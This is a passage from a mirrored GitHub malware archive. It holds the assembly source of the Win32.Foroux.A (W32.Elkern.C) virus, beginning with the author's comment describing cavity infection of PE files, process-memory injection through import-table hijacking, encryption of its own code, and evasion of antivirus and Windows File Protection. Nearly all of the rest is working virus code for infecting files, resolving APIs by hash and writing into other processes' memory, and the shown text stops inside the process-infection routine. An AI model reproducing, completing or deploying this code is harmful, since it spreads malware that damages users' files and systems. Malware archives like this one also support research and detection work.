13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-16 03:58:34 +00:00
vxug-MalwareSourceCode/Win32/Win32.Foroux.a.asm
2020-10-10 22:07:43 -05:00

2580 lines
65 KiB
NASM

comment $
This is the source code of Win32.Foroux.A(W32.Elkern.C)
Features
1,Cavity infection.It splits itself to several small block and try to insert them
to the host body.If there is no enough cavity,it will append the block to the host
tail.I like cavity infection,and all Elkern family has such feature.
Because after such infection,maybe the file size will be enlarged,but the enlarge
size is uncertain.
2,Very good memory infection.Unlike the common method to stealth,it doesn't drop any
file to the disk.Instead that,it will infect all process current in memory(on Win98,
it will only infect Explorer to avoid crash some application(eg,OE)).This feature made
it very difficult to disinfect.
Every virus process will play its infect,but only one do very fast infection,and others
will slowly infect.This is to avoid th draw the user's notice.If the 'fast' process
exit,another virus process will become the 'fast' one.
How to infect process?Maybe you'll say CreateRemoteThread,but it's pitiful that it's
only supported by Win2000.Now I will introduce a common method which can run on all
Win32 platform.
When you get a process,insert a very short piece of virus code to its cavity,and modify
the import table to redirect a API to your code.As soon as the API is called by the
process,your code will get control and then,it can try to map a memroy map which contain
your whole virus code.If it successes to do this,then it will jump to the real virus
body.
For more information,read infproc.asm
3,Dynamic decryption and encryption.When it call a routine,it will decryption it.When the
routine returned,it will encryption with different key again.Though the encrypt algorism
is very simple,it's very difficult to obtain 'plain' virus code.
4,It will infect all .exe and .scr PE file,and randomly it will ignore the file extension
in order to infect more widely.
5,It was released by Klez.H.
I like writing several source file for my asm virus.This virus source code files is
pv.asm--the main asm file
infect.asm--the routine to infect files
infproc.asm--the routine to infect memory process
mainthrd.asm--the main loop of virus work.
But for your convenience to read,I join all files to a single file.But every file are
seperated by comment with the file name.
$
;NOTE: All global data MUST NOT be in encryption block.
.386
.model flat
include win32.inc
includelib import32.lib
extrn MessageBoxA: proc
extrn ExitProcess: proc
extrn CreateProcessA: proc
DEBUG equ 1
if DEBUG
include debug.asm
endif
FMAP_NAME equ 'Wqk',0
MUTEX_NAME equ 'Oux',0
INFPROC_PROT_SIZE equ (4*1024)
INFPROC_MAP_SIZE equ (16*1024)
INF_SIGN equ 'QW'
MEM_INF_SIGN equ ('Q'+'W')
MEM_INF_POS equ 1ch
INF_MIN_BLK_SIZE equ 38h
MIN_SIZE_TO_INFECT equ (8*1024)
if DEBUG
INFECT_FIRSTDISK equ (0000ffffh and '00:w')
INFECT_LASTDISK equ (0000ffffh and '00:z')
else
INFECT_FIRSTDISK equ (0000ffffh and '00:a')
INFECT_LASTDISK equ (0000ffffh and '00:z')
endif
RESOURCETYPE_DISK equ 0001h
RESOURCEUSAGE_CONTAINER equ 0002h
RESOURCEUSAGE_ALL equ 0013h
RESOURCE_GLOBALNET equ 0002h
MAX_NETRESOURCE_NUM equ 1000
SECTION_QUERY equ 0001h
SECTION_MAP_WRITE equ 0002h
SECTION_MAP_READ equ 0004h
SECTION_MAP_EXECUTE equ 0008h
SECTION_EXTEND_SIZE equ 0010h
FILE_MAP_COPY equ SECTION_QUERY
FILE_MAP_WRITE equ SECTION_MAP_WRITE
FILE_MAP_READ equ SECTION_MAP_READ
;FILE_MAP_ALL_ACCESS equ SECTION_ALL_ACCESS
PAGE_NOACCESS equ 01h
PAGE_READONLY equ 02h
PAGE_READWRITE equ 04h
PAGE_WRITECOPY equ 08h
PAGE_EXECUTE equ 10h
PAGE_EXECUTE_READ equ 20h
PAGE_EXECUTE_READWRITE equ 40h
PAGE_EXECUTE_WRITECOPY equ 80h
PAGE_GUARD equ 100h
PAGE_NOCACHE equ 200h
PAGE_WRITECOMBINE equ 400h
MEM_COMMIT equ 1000h
MEM_RELEASE equ 8000h
MAX_PATH equ 260
MAX_DIR_SIZE equ MAX_PATH
FILETIME struc
dwLowDateTime dd 0
dwHighDateTime dd 0
FILETIME ends
WIN32_FIND_DATA struc
dwFileAttributes dd 0
ftCreationTime FILETIME <>
ftLastAccessTime FILETIME <>
ftLastWriteTime FILETIME <>
nFileSizeHigh dd 0
nFileSizeLow dd 0
dwReserved0 dd 0
dwReserved1 dd 0
cFileName db MAX_PATH dup(0)
cAlternateFileName db 14 dup(0)
foralign db 2 dup(0)
WIN32_FIND_DATA ends
EXIT macro
push large 0
call ExitProcess
endm
CALLHEADER macro entry
dw 0
dw entry&_end - entry
ENDM
SUBCALL macro sub,rel
;;NOTE : This macro WILL destroy ESI
lea esi,[ebp+sub-rel]
call _callsub
endm
.data
cap db 'Haha',0
str db "Hello sakld;gjlsad",0dh,0ah,0
dummyfile db "dummy.exe"
.code
vir_header:
dd 0
dw vir_size
dw 'QW'
_start:
pushfd ;If some flags,especial DF,changed,some APIs can crash down!!!
pushad
call _start_ip
_start_ip:
pop ebp
_start_@1 equ $
lea edi,[ebp+hash_table-8-_start_ip]
mov ebx,[esp+9*4]
and ebx,0ffe00000h ;98-BFF70000,2K-77E80000,XP-77E60000
_start_@2 equ $
lea esi,[ebp+search_api_addr-_start_ip]
call _callsub
_start_@3 equ $
lea eax,[ebp+return_to_host-_start_ip]
push eax
main_enter:
lea edx,[ebp+vir_body-_start_ip]
db 89h,0d6h ;mov esi,edx
call _callsub
retn
return_to_host:
sub ebp,1000h+_start_ip-vir_header
host_section_rva equ dword ptr $-4
add ebp,offset host-400000h
host_entry_rva equ dword ptr $-4
mov dword ptr [ebp],000000b8h
host_entry_1 equ dword ptr $-4
mov byte ptr [ebp+4],0
host_entry_2 equ byte ptr $-1
mov [esp+7*4],ebp
popad
popfd
jmp eax
_start_end:
CALLHEADER vir_body
vir_body:
pushad
call vir_body_ip
vir_body_ip:
pop ebp
SUBCALL merge_code,vir_body_ip
or eax,eax
jz short vir_body_ret
add eax,main_thread-_start
mov esi,eax
call blk_decrypt
mov word ptr [esi-4],0 ;Clear the encryption key to avoid incorrect encryption when error occurs
xor ecx,ecx
push ecx
push esp
push ecx
push ecx
push eax
push ecx
push ecx
call [ebp+addrCreateThread-vir_body_ip]
pop ecx
vir_body_ret:
popad
retn
vir_body_end:
;out--eax=buffer address
CALLHEADER merge_code
merge_code:
merge_code_ip equ vir_body_ip
xor edi,edi
mov eax,vir_mem_size
SUBCALL create_mem_map,merge_code_ip
push eax
jz short merge_code_ret
cld
mov edi,eax
lea esi,[ebp+_start-merge_code_ip]
lea edx,[ebp+_start_ip-merge_code_ip]
sub edx,[ebp+host_section_rva-merge_code_ip]
sub esi,edx
merge_code_loop:
add esi,edx
movzx ecx,word ptr [esi-4]
push esi
rep movsb
pop esi
mov esi,[esi-8]
or esi,esi
jnz short merge_code_loop
merge_code_ret:
pop eax
retn
merge_code_end:
;in--eax=size,edi->object name
;out--eax=buffer address,edi=map handle,ZF set means fail
CALLHEADER create_mem_map
create_mem_map:
push ebp
push ebx
push ecx
call create_mem_map_ip
create_mem_map_ip:
pop ebp
push edi
push eax
xor eax,eax
push eax
push large PAGE_READWRITE
push eax
dec eax
push eax
call [ebp+addrCreateFileMappingA-create_mem_map_ip]
or eax,eax
jz short create_mem_map_1
xchg eax,edi
xor eax,eax
push eax
push eax
push eax
push large FILE_MAP_WRITE
push edi
call [ebp+addrMapViewOfFile-create_mem_map_ip]
create_mem_map_1:
pop ecx
pop ebx
pop ebp
or eax,eax
retn
create_mem_map_end:
;In--esi->destination address
;Header format,2 byte:key,2 byte: length
;CAN NOT call get_rand
_callsub:
call blk_decrypt
call_sub_1:
push dword ptr [esi-4]
mov word ptr [esi-4],0 ;Clear the encryption key to avoid incorrect encryption when error occurs
push esi
call esi
pop esi
pop dword ptr [esi-4]
pushfd
add word ptr [esi-4],5678h
callsub_seed equ $-2
call blk_encrypt
popfd
retn
;in--esi->block entry
blk_decrypt equ blk_encrypt
blk_encrypt:
pushad
cld
mov edi,esi
mov edx,[esi-4]
blk_encrypt_@1 equ $-blk_encrypt
xor ecx,ecx
nop ;for poly
shld ecx,edx,0fh
blk_encrypt_1:
lodsw
xor ax,dx
stosw
loop blk_encrypt_1
popad
retn
;***************************Find import some APIs*********************
HASH16FACTOR = 0ED388320h
HASH16 MACRO String,sym
HASH_Reg = 0FFFFFFFFh
IRPC _x, <String>
Ctrl_Byte = ('&_x&' XOR (HASH_Reg AND 0FFh))
HASH_Reg = (HASH_Reg SHR 8)
REPT 8
Ctrl_Byte = (Ctrl_Byte SHR 1) XOR (HASH16FACTOR * (Ctrl_Byte AND 1))
ENDM
HASH_Reg = (HASH_Reg XOR Ctrl_Byte)
ENDM
sym DW (HASH_Reg AND 0FFFFh)
ENDM
;in--ebx is the base to search-10000h,edi->the hash table,include dll name
CALLHEADER search_api_addr
search_api_addr:
pushad
pushfd
call search_api_addr_ip
search_api_addr_ip:
pop ebp
push ebp
lea eax,[ebp+search_api_addr_seh-search_api_addr_ip]
push eax
xor ecx,ecx
push dword ptr fs:[ecx]
mov fs:[ecx],esp
search_api_addr_@1:
add ebx,10000h
jz short search_api_addr_seh_restore
cmp word ptr [ebx],'ZM'
jnz short search_api_addr_@1
mov eax,[ebx+3ch]
add eax,ebx
cmp word ptr [eax],'EP'
jnz short search_api_addr_@1
mov eax,[eax+78h]
add eax,ebx
mov edx,[eax+3*4]
add edx,ebx
mov ecx,[edi]
cmp dword ptr [edx],ecx
jnz short search_api_addr_@1
mov ecx,[edi+4]
cmp dword ptr [edx+4],ecx
jnz short search_api_addr_@1
search_api_addr_seh_restore:
xor ecx,ecx
POP DWord Ptr FS:[ecx] ; restore except chain
pop esi
pop esi
add edi,8
or ebx,ebx
jz short search_api_addr_ret
SUBCALL find_all_exportfunc,search_api_addr_ip
search_api_addr_ret:
popfd
popad
retn
search_api_addr_seh:
call search_api_addr_seh_ip
search_api_addr_seh_ip:
pop eax
lea eax,[eax-(search_api_addr_seh_ip-search_api_addr_@1)]
seh_cont:
PUSH eax
MOV EAX,[ESP + 00Ch+4] ; context
POP DWord Ptr [EAX + 0B8h] ; context.eip = @ExceptProc
XOR EAX,EAX ; 0 = ExceptionContinueExecution
RET
search_api_addr_end:
CALLHEADER find_all_exportfunc
find_all_exportfunc:
cld
dec ecx
push eax
xor eax,eax
repnz scasw
not ecx
dec ecx
push ecx
push edi
rep stosd ;Clear all API address
pop edi
sub edi,4
pop ecx
pop eax
mov esi,[eax+8*4]
add esi,ebx ;esi->name RVA array
mov esi,[esi]
add esi,ebx
xor edx,edx
push ecx
find_exportfunc:
push ecx
find_exportfunc_1:
cmp edx,[eax+6*4]
pop ecx
jz short find_exportfunc_ret
push ecx
inc edx
push eax
call calc_hash16
push edi
std
mov ecx,[esp+3*4]
repnz scasw
pop edi
pop eax
jnz short find_exportfunc_1
push edx
dec edx
push edi
mov edi,[eax+9*4]
add edi,ebx ;edi->ordinal array
movzx edx,word ptr [edi+edx*2]
mov edi,[eax+7*4]
add edi,ebx ;edi->function RVA
mov edx,[edi+edx*4]
add edx,ebx
pop edi
mov [edi+ecx*4+4],edx
pop edx
pop ecx
loop find_exportfunc
find_exportfunc_ret:
pop ecx
retn
find_exportfunc_end:
calc_hash16:
;esi->string
push edx
push 0ffffffffh
pop edx
cld
load_character:
lodsb
or al, al
jz exit_calc_crc
xor dl, al
mov al, 8
crc_byte:
shr edx, 1
jnc loop_crc_byte
xor edx, HASH16FACTOR
loop_crc_byte:
dec al
jnz crc_byte
jmp load_character
exit_calc_crc:
xchg edx, eax
;now ax is the hash 16,esi->string after the NULL character after last string
pop edx
ret
calc_hash16_end:
find_all_exportfunc_end:
db 'KERNEL32'
hash_table equ this word
HASH16 <SetEndOfFile>,hsSetEndOfFile
HASH16 <SetFilePointer>,hsSetFilePointer
HASH16 <CreateFileA>,hsCreateFileA
HASH16 <GetFileAttributesA>,hsGetFileAttributesA
HASH16 <SetFileAttributesA>,hsSetFileAttributesA
HASH16 <CloseHandle>,hsCloseHandle
HASH16 <GetFileTime>,hsGetFileTime
HASH16 <SetFileTime>,hsSetFileTime
HASH16 <GetFileSize>,hsGetFileSize
HASH16 <CreateFileMappingA>,hsCreateFileMappingA
HASH16 <MapViewOfFile>,hsMapViewOfFile
HASH16 <UnmapViewOfFile>,hsUnmapViewOfFile
HASH16 <OpenFileMappingA>,hsOpenFileMappingA
HASH16 <VirtualProtectEx>,hsVirtualProtectEx
HASH16 <ReadProcessMemory>,hsReadProcessMemory
HASH16 <WriteProcessMemory>,hsWriteProcessMemory
HASH16 <OpenProcess>,hsOpenProcess
HASH16 <FindFirstFileA>,hsFindFirstFileA
HASH16 <FindNextFileA>,hsFindNextFileA
HASH16 <FindClose>,hsFindClose
HASH16 <LoadLibraryA>,hsLoadLibraryA
HASH16 <CreateThread>,hsCreateThread
HASH16 <MultiByteToWideChar>,hsMultiByteToWideChar
HASH16 <Sleep>,hsSleep
HASH16 <lstrcmpiA>,hslstrcmpi
HASH16 <GetModuleFileNameA>,hsGetModuleFileNameA
HASH16 <GetDriveTypeA>,hsGetDriveTypeA
HASH16 <GetTickCount>,hsGetTickCount
HASH16 <GetVersion>,hsGetVersion
HASH16 <CreateToolhelp32Snapshot>,hsCreateToolhelp32Snapshot
HASH16 <Process32First>,hsProcess32First
HASH16 <Process32Next>,hsProcess32Next
if DEBUG
HASH16 <OutputDebugStringA>,hsOutputDebugStringA
HASH16 <GetLastError>,hsGetLastError
HASH16 <ExitProcess>,hsExitProcess
endif
dw 0
hash_addr equ this dword
addrSetEndOfFile dd 0
addrSetFilePointer dd 0
addrCreateFileA dd 0
addrGetFileAttributesA dd 0
addrSetFileAttributesA dd 0
addrCloseHandle dd 0
addrGetFileTime dd 0
addrSetFileTime dd 0
addrGetFileSize dd 0
addrCreateFileMappingA dd 0
addrMapViewOfFile dd 0
addrUnmapViewOfFile dd 0
addrOpenFileMappingA dd 0
addrVirtualProtectEx dd 0
addrReadProcessMemory dd 0
addrWriteProcessMemory dd 0
addrOpenProcess dd 0
addrFindFirstFileA dd 0
addrFindNextFileA dd 0
addrFindClose dd 0
addrLoadLibraryA dd 0
addrCreateThread dd 0
addrMultiByteToWideChar dd 0
addrSleep dd 0
addrlstrcmpiA dd 0
addrGetModuleFileNameA dd 0
addrGetDriveTypeA dd 0
addrGetTickCount dd 0
addrGetVersion dd 0
addrCreateToolhelp32Snapshot dd 0
addrProcess32First dd 0
addrProcess32Next dd 0
if DEBUG
addrOutputDebugStringA dd 0
addrGetLastError dd 0
addrExitProcess dd 0
endif
db 'sfc.dll',0
sfc_hash_table equ this word
HASH16 <SfcIsFileProtected>,isSfcIsFileProtected
dw 0
sfc_hash_addr equ this dword
addrSfcIsFileProtected dd 0
db 'MPR.dll',0
mpr_hash_table equ this word
HASH16 <WNetOpenEnumA>,hsWNetOpenEnumA
HASH16 <WNetEnumResourceA>,hsWNetEnumResourceA
HASH16 <WNetCloseEnum>,hsWNetCloseEnum
dw 0
mpr_hash_addr equ this dword
addrWNetOpenEnumA dd 0
addrWNetEnumResourceA dd 0
addrWNetCloseEnum dd 0
db 'USER32.d'
user32_hash_table equ this word
HASH16 <DispatchMessageA>,hsDispatchMessageA
HASH16 <DispatchMessageW>,hsDispatchMessageW
dw 0
user32_hash_addr equ this dword
addrDispatchMessageA dd 0
addrDispatchMessageW dd 0
;***************************Find import APIs end*********************
vir_first_blk_size equ $-_start
;*******************************infect.asm*****************************
;include infect.asm
FOPESP_BASE equ 0
;In--edi->file name,dl=operation code
CALLHEADER file_operate
file_operate:
pushad
call file_op_ip
file_op_ip:
pop ebp
mov ebx,edi
SUBCALL is_in_dllcache,file_op_ip
jz file_op_ret
xor esi,esi
push ebp
lea eax,[ebp+file_op_seh-file_op_ip]
push eax
xor eax,eax
push dword ptr fs:[eax]
mov fs:[eax],esp
push edi
call [ebp+addrGetFileAttributesA-file_op_ip]
push eax ;esp->file attribute
push edi ;esp->file name pointer
test eax,FILE_ATTRIBUTE_READONLY
jz short file_op_not_readonly
and eax,not FILE_ATTRIBUTE_READONLY
push eax
push edi
call [ebp+addrSetFileAttributesA-file_op_ip]
file_op_not_readonly:
push esi
push large FILE_ATTRIBUTE_ARCHIVE or FILE_ATTRIBUTE_HIDDEN
push large OPEN_EXISTING
push esi
push large FILE_SHARE_READ
push large GENERIC_WRITE or GENERIC_READ
push edi
call [ebp+addrCreateFileA-file_op_ip]
inc eax
jz file_op_fail_createfile
dec eax
push eax ;esp->file handle
lea ebx,[ebp+ftime-file_op_ip]
push ebx ;ebx->file last write time
add ebx,8
push ebx
add ebx,8
push ebx
push eax
call [ebp+addrGetFileTime-file_op_ip]
push ecx
push esp ;->file size high
push dword ptr [esp+2*4]
call [ebp+addrGetFileSize-file_op_ip]
pop ecx
inc eax
jz file_op_fail_getfilesize
dec eax
or ecx,ecx
jnz file_op_fail_getfilesize
push eax ;esp->file size
xchg eax,edi
add edi,vir_size+8+1000h ;edi=max file size
push esi
push edi
push esi
push large PAGE_READWRITE
push esi
push dword ptr [esp+5*4+4]
call [ebp+addrCreateFileMappingA-file_op_ip]
or eax,eax
jz file_op_fail_createfilemapping
push eax ; esp->save file mapping handle
push edi
push esi
push esi
push large FILE_MAP_WRITE
push eax
call [ebp+addrMapViewOfFile-file_op_ip]
or eax,eax
jz file_op_fail_mapviewoffile
push eax ;esp->save file mapping base pointer
mov [ebp+file_op_esp-file_op_ip],esp
;************************************************************************
;Now ebp->file_op_ip eax->file base(image base)
;esp->file mapping base address
;esp+4->file mapping handle
;esp+8h->file size
;esp+0ch->file handle
;esp+10h->file name pointer
;esp+14h->file attribute
;Les's begin file operation
;************************************************************************
xchg ebx,eax
SUBCALL check_pe,file_op_ip
jz short file_op_unmapping_jmp1
;Check AV file by look for 'irus' in the file
mov ecx,[esp+8]
cmp ecx,MIN_SIZE_TO_INFECT
jc file_op_unmapping
pushad
add ecx,eax
sub ecx,ebx
sub ecx,8
mov edi,eax
mov eax,'suri' ;V irus
check_av_1:
sub edi,3
scasd
loopnz short check_av_1
or ecx,ecx
popad
jnz short file_op_unmapping_jmpnz
;Let's check whether this file is under file protect,if so,not infect it,avoid WFP error
mov ecx,[ebp+addrSfcIsFileProtected-file_op_ip]
jecxz file_op_check_wfp_end
pushad
;check_wfp:
mov edi,640
sub esp,edi
mov ebx,esp
push ecx
push edi
push ebx ;lpWideCharStr
push -1
push dword ptr [esp+edi+FOPESP_BASE+4*4+8*4+10h]
push large 1 ;MB_PRECOMPOSED
push large 0 ;CP_ACP
call [ebp+addrMultiByteToWideChar-file_op_ip]
pop eax
push esp
push large 0
call eax
add esp,edi
or eax,eax
popad
file_op_unmapping_jmpnz:
jnz file_op_unmapping
file_op_check_wfp_end:
;Check whether it's a WinZip Self-Extractor file
movzx edx,word ptr [eax+14h]
mov edx,[eax+edx+18h+14h+28h] ;ebx->the second section's PointerToRawData
add edx,ebx
cmp dword ptr [edx+10h],'ZniW'
jnz not_winzip
cmp word ptr [edx+10h+4],'pi'
file_op_unmapping_jmp1:
jz file_op_unmapping
not_winzip:
;Check whether the file is a SFX(RAR file)
xor edi,edi
SUBCALL get_section_of_rva,file_op_ip
mov ecx,[edx+0ch]
add ecx,[edx+8]
mov esi,ecx
shr ecx,3
add ecx,esi
cmp ecx,[esp+FOPESP_BASE+8]
jna file_op_unmapping
add esi,ebx ;now ecx->perhaps rar file header
cmp dword ptr [esi],21726152h ;test for rar signature
jz short file_op_unmapping_jmp1
;Check infected
mov edi,[eax+28h]
SUBCALL get_section_of_rva,file_op_ip
sub edi,[edx+4]
add edi,[edx+0ch]
add edi,ebx
lea esi,[ebp+infbuffer-file_op_ip]
mov ecx,[edi]
mov [esi+host_entry_1-_start],ecx
mov cl,[edi+4]
mov [esi+host_entry_2-_start],cl
mov [ebp+entry_point-file_op_ip],edi
cmp byte ptr [edi],0e9h
jnz short check_infected_not_epo
add edi,[edi+1]
add edi,5
check_infected_not_epo:
cmp word ptr [edi-2],INF_SIGN
jnz short check_infected_end
cmp word ptr [edi+3],0h
jz file_op_unmapping_jmp1
check_infected_end:
;For EPO purpose,we must set the code section writable
or dword ptr [edx+1ch],00000020h or 00000040h or 10000000h or 20000000h or 40000000h or 80000000h ; modify section's Characteristics
lea esi,[ebp+infbuffer-file_op_ip]
mov dword ptr [ebp+blk_min_size-file_op_ip],vir_first_blk_size+8
mov dword ptr [ebp+remaind_size-file_op_ip],vir_size
xor edx,edx
mov [ebp+block_pointer-file_op_ip],edx
cld
first_section:
movzx edx,word ptr [eax+14h]
lea edx,[eax+edx+18h+8-28h] ;->before first section header.VirtualSize
next_section:
add edx,28h
mov ecx,[edx] ;VirtualSize
mov edi,[edx+8] ;SizeOfRawData
cmp ecx,edi
jna short file_op_1
xchg edi,ecx
file_op_1:
add ecx,[edx+0ch]
mov edi,vir_first_blk_size+8+38h
call is_final_section
jz short inf_at_tail
mov edi,[edx+28h+0ch]
sub edi,ecx
cmp edi,vir_first_blk_size+8
blk_min_size equ $-4
;NOTE:Next section's PointerToRawData may be 0 or less than current PointerToRawData
;if so,don't use this section.So use jl instead of jc
jl goto_next_section
inf_at_tail:
;Some PE file's .BSS(uninitialized data) and .TLS section's PointerToRawData can be 0,it doesn't take
;disk space.If infect this kind of section,the file will be damaged.So must avoid it.
cmp dword ptr [edx+0ch],0 ;this section's PointerToRawData==0?
jz goto_next_section
xchg edi,ecx
add edi,[esp]
mov dword ptr [edi],0
sub ecx,8
cmp ecx,[ebp+remaind_size-file_op_ip]
jl short file_op_8
mov ecx,[ebp+remaind_size-file_op_ip]
file_op_8:
sub [ebp+remaind_size-file_op_ip],ecx
mov dword ptr [edi+4],ecx
add edi,8
mov ebx,12345678h
block_pointer equ $-4
or ebx,ebx
jz short file_op_7
push edi
sub edi,[edx+0ch]
add edi,[edx+4]
sub edi,[esp+4]
mov [ebx-8],edi
pop edi
file_op_7:
mov [ebp+block_pointer-file_op_ip],edi
lea ebx,[ebp+infbuffer-file_op_ip+vir_first_blk_size-10h]
cmp esi,ebx ;is first block?
ja file_op_2 ;No
mov word ptr [edi-2],INF_SIGN
or dword ptr [edx+1ch],00000020h or 00000040h or 10000000h or 20000000h or 40000000h or 80000000h ; modify section's Characteristics
;Check relocation,try to implement EPO
mov ebx,[eax+28h] ;AddressOfEntryPoint
mov [esi+host_entry_rva-_start],ebx ;save host code entry
pushad
sub edi,[edx+0ch]
add edi,[edx+4]
sub edi,[esp+FOPESP_BASE+8*4]
mov [ebp+redir_entry_point-file_op_ip],edi
add edi,(_start_ip-_start)
mov [esi+host_section_rva-_start],edi ;save host code base
mov ecx,[eax+0a0h] ;Relocation RVA
or ecx,ecx
jz short chk_reloc_end
mov edi,ecx
SUBCALL get_section_of_rva,file_op_ip
sub edi,[edx+4]
add edi,[edx+0ch]
add edi,[esp+FOPESP_BASE+8*4] ;Physical address
mov esi,edi
xor ecx,ecx
next_reloc_trunk:
add esi,ecx
lodsd
mov edx,eax
lodsd
mov ecx,eax
sub ecx,8
clc
or edx,edx
jz short chk_reloc_end
cmp ebx,edx
jc short next_reloc_trunk
push edx
add edx,1000h
cmp ebx,edx
pop edx
ja short next_reloc_trunk
;Found the fit trunk
shr ecx,1
xor eax,eax
mov edi,edx
chk_reloc_1:
lodsw
or eax,eax
jz short chk_reloc_end
and eax,0fffh
add edx,eax
mov eax,ebx
sub eax,3
cmp edx,eax
jc short chk_reloc_2
add eax,8
cmp edx,eax
jc short chk_reloc_3
chk_reloc_2:
mov edx,edi
loop chk_reloc_1
chk_reloc_3:
or ecx,ecx
chk_reloc_end:
popad
mov dword ptr [eax+28h],12345678h
redir_entry_point equ $-4
pushad
jnz short epo_end
mov [eax+28h],ebx ;restore entry point
mov ebx,12345678h
entry_point equ $-4
mov byte ptr [ebx],0e9h
sub edi,[esp+8*4]
sub edi,[edx+0ch]
add edi,[edx+4]
sub edi,[eax+28h]
sub edi,5
mov [ebx+1],edi
epo_end:
popad
file_op_2:
mov dword ptr [ebp+blk_min_size-file_op_ip],INF_MIN_BLK_SIZE
pushad
sub edi,[edx+0ch]
add edi,[edx+4]
mov ebx,[edx] ;VirtualSize
mov edi,[edx+8] ;SizeOfRawData
xor esi,esi
cmp ebx,edi
jna short file_op_3
xchg edi,ebx
inc esi
file_op_3:
add ebx,ecx
add ebx,8
file_op_4:
cmp ebx,edi ;is bigger one less than small one?
jna short file_op_5 ;no
add edi,[eax+3ch] ;FileAlignment
jmp short file_op_4
file_op_5:
or esi,esi
jz short file_op_6
xchg edi,ebx
file_op_6:
mov [edx],ebx
mov [edx+8],edi
popad
rep movsb
or dword ptr [edx+1ch],00000040h or 40000000h; modify section's Characteristics
and dword ptr [edx+1ch],not 02020000 ;delete discardable Characteristics
goto_next_section:
mov ecx,vir_size
remaind_size equ $-4
jecxz file_op_ok
call is_final_section
jnz next_section
jmp first_section
file_op_ok:
xor edi,edi
SUBCALL get_section_of_rva,file_op_ip
;Round image size
mov ecx,[edx]
add ecx,[edx+4]
mov ebx,[eax+50h]
file_op_9:
cmp ecx,ebx
jbe short file_op_10
add ebx,[eax+38h]
jmp short file_op_9
file_op_10:
mov [eax+50h],ebx
;Round physical size
mov ecx,[edx+8]
add ecx,[edx+0ch]
cmp ecx,[esp+8]
jc short file_op_11
mov [esp+8],ecx
file_op_11:
pop esi ;esi=file base
push esi
mov byte ptr [esi+MEM_INF_POS],MEM_INF_SIGN ;Set memory infected sign.
;Recalculate checksum if there is any
lea ebx,[eax+58h]
mov ecx,[ebx] ;Is the checksum zero?
jecxz no_checksum ;Yes,it's zero,nothing to do;
;Now let me calculate the checksum
mov dword ptr [ebx],0 ;zero the checksum
mov ecx,[esp+8] ;the file size
push ecx ;the file size after infect
shr ecx,1
xor edx,edx
checksum_loop:
movzx eax, word ptr [esi]
add edx, eax
mov eax, edx
and edx, 0ffffh
shr eax, 10h
add edx, eax
inc esi
inc esi
loop checksum_loop
mov eax, edx
shr eax, 10h
add ax, dx
pop ecx
add eax,ecx
;Now eax is the checksum,store it
mov [ebx],eax
no_checksum:
file_op_unmapping:
mov esp,12345678h
file_op_esp equ $-4
;Now esp have point to file mapping base pointer
call [ebp+addrUnmapViewOfFile-file_op_ip]
file_op_fail_mapviewoffile:
call [ebp+addrCloseHandle-file_op_ip] ;Close file mapping
file_op_fail_createfilemapping:
pop eax ;eax=file size
push large 0
push large 0
push eax
push dword ptr [esp+4*3]
call [ebp+addrSetFilePointer-file_op_ip]
push dword ptr [esp]
call [ebp+addrSetEndOfFile-file_op_ip] ;truncate the file to fit size
file_op_fail_getfilesize:
pop eax
push eax
lea ebx,[ebp+ftime-file_op_ip]
push ebx ;ebx->file last write time
add ebx,8
push ebx
add ebx,8
push ebx
push eax
call [ebp+addrSetFileTime-file_op_ip]
call [ebp+addrCloseHandle-file_op_ip] ;Close file
file_op_fail_createfile:
call [ebp+addrSetFileAttributesA-file_op_ip]
xor ecx,ecx
POP DWord Ptr FS:[ecx] ; restore except chain
pop ecx
pop ecx
file_op_ret:
popad
retn
file_op_seh:
call file_op_seh_ip
file_op_seh_ip:
pop eax
lea eax,[eax-(file_op_seh_ip-file_op_unmapping)]
PUSH eax
MOV EAX,[ESP + 00Ch+4] ; context
POP DWord Ptr [EAX + 0B8h] ; context.eip = @ExceptProc
XOR EAX,EAX ; 0 = ExceptionContinueExecution
RET
;in--edx->current section VirtualSize,eax->PE base,ebx->base address,ebp->file_op_ip
;out--ZF set is final,ZF cleared isn't final
is_final_section:
pushad
mov ecx,edx
xor edi,edi
SUBCALL get_section_of_rva,file_op_ip
cmp ecx,edx
popad
retn
is_final_section_end:
file_operate_end:
;*******************************infect.asm end*****************************
;*******************************infproc.asm*****************************
;include infproc.asm
;Code to inject to process
CALLHEADER inject_code
inject_code:
jmp short $+2
inject_code_flow equ $-1
pushad
pushfd
call inject_code_ip
inject_code_ip:
pop ebp
xor esi,esi
call inject_code_1
db FMAP_NAME
inject_code_1:
push esi
push large FILE_MAP_WRITE
mov edx,12345678h
inject_code_openfilemapping equ $-4
call edx
or eax,eax
jz short inject_code_goto_raw
push esi
push esi
push esi
push large FILE_MAP_WRITE
push eax
mov edx,12345678
inject_code_mapviewoffile equ $-4
call edx
or eax,eax
jz short inject_code_goto_raw
mov byte ptr [ebp+inject_code_flow-inject_code_ip],inject_code_goto_raw_1-inject_code_flow-1
lea ebp,[eax+_start_ip-vir_header]
add eax,main_enter-vir_header
call eax
inject_code_goto_raw:
popfd
popad
inject_code_goto_raw_1:
push large 12345678h
inject_code_raw_api equ $-4
retn
inject_code_end:
inject_code_size equ $-inject_code
;in--edi=process handle,ebx->process base address,ebp->inf_proc_ip
;out--ZF set,failed ZF cleared,success
CALLHEADER virtual_protect
virtual_protect:
pushad
push ecx
push esp
push large PAGE_EXECUTE_READWRITE
push large INFPROC_PROT_SIZE
push ebx
push edi
call [ebp+addrVirtualProtectEx-inf_proc_ip]
pop ecx
or eax,eax
popad
retn
virtual_protect_end:
;in--edi=process handle,ebx=process address to read,ebp->inf_proc_ip
;out--read data to vbuffer,eax->vbuffer
CALLHEADER read_proc_mem
read_proc_mem:
lea eax,[ebp+vbuffer-inf_proc_ip]
pushad
push ecx
push esp
push large INFPROC_MAP_SIZE
push eax
push ebx
push edi
call [ebp+addrReadProcessMemory-inf_proc_ip]
pop ecx
or eax,eax
popad
retn
read_proc_mem_end:
;in--edi=process handle,ebx=process address to write,ebp->inf_proc_ip,eax->buffer,ecx=size to write
;out--write data from vbuffer
CALLHEADER write_proc_mem
write_proc_mem:
pushad
push ecx
push esp
push ecx
push eax
push ebx
push edi
call [ebp+addrWriteProcessMemory-inf_proc_ip]
pop ecx
or eax,eax
popad
retn
write_proc_mem_end:
;in--edi=process handle,ebx->process base address
CALLHEADER inf_proc
inf_proc:
pushad
call inf_proc_ip
inf_proc_ip:
pop ebp
push ebp
lea esi,[ebp+inf_proc_seh-inf_proc_ip]
push esi
xor esi,esi
push dword ptr fs:[esi]
mov fs:[esi],esp
